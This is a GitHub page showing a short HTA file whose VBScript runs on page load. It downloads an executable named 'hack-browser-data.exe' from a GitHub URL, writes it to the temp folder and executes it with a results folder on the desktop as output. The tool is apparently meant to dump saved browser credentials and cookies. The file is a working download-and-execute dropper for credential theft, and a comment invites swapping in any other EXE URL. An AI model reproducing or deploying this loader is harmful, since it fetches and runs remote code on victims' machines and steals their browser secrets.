-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathn.hta
57 lines (47 loc) · 1.73 KB
/
n.hta
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<html>
<head>
<title>Download and Run EXE with Desktop Directory Argument</title>
<HTA:APPLICATION
ID="testHTA"
APPLICATIONNAME="DownloadAndRunWithDesktopDir"
SCROLL="no"
SINGLEINSTANCE="yes"
/>
<script language="VBScript">
Sub Window_OnLoad
DownloadAndExecuteWithDesktopDir
End Sub
Sub DownloadAndExecuteWithDesktopDir()
' Create XMLHTTP object to download the EXE file
Set http = CreateObject("MSXML2.XMLHTTP")
exeUrl = "https://github.com/SAKIB-SALIM/Past/raw/refs/heads/main/hack-browser-data.exe" ' Change this to your EXE URL
' Initiate request to download the file
http.Open "GET", exeUrl, False
http.Send
If http.Status = 200 Then
' Create ADODB.Stream to hold the EXE in memory
Set stream = CreateObject("ADODB.Stream")
stream.Type = 1 ' binary
stream.Open
stream.Write http.responseBody
' Save EXE to temporary folder (necessary to run it with arguments)
tempPath = CreateObject("Scripting.FileSystemObject").GetSpecialFolder(2) ' Temporary Folder
exeFilePath = tempPath & "\temp_exe_file.exe"
stream.SaveToFile exeFilePath, 2 ' Save to disk
stream.Close
' Get the current user's desktop directory
Set objShell = CreateObject("WScript.Shell")
desktopPath = objShell.SpecialFolders("Desktop") + "Results"
' Set the argument to --dir [Desktop]
exeArguments = "--dir """ & desktopPath & """"
' Execute the EXE file with the desktop directory as argument
objShell.Run """" & exeFilePath & """ " & exeArguments, 1, True ' Wait for the EXE to finish
Else
MsgBox "Download failed: " & http.StatusText
End If
End Sub
</script>
</head>
<body>
</body>
</html>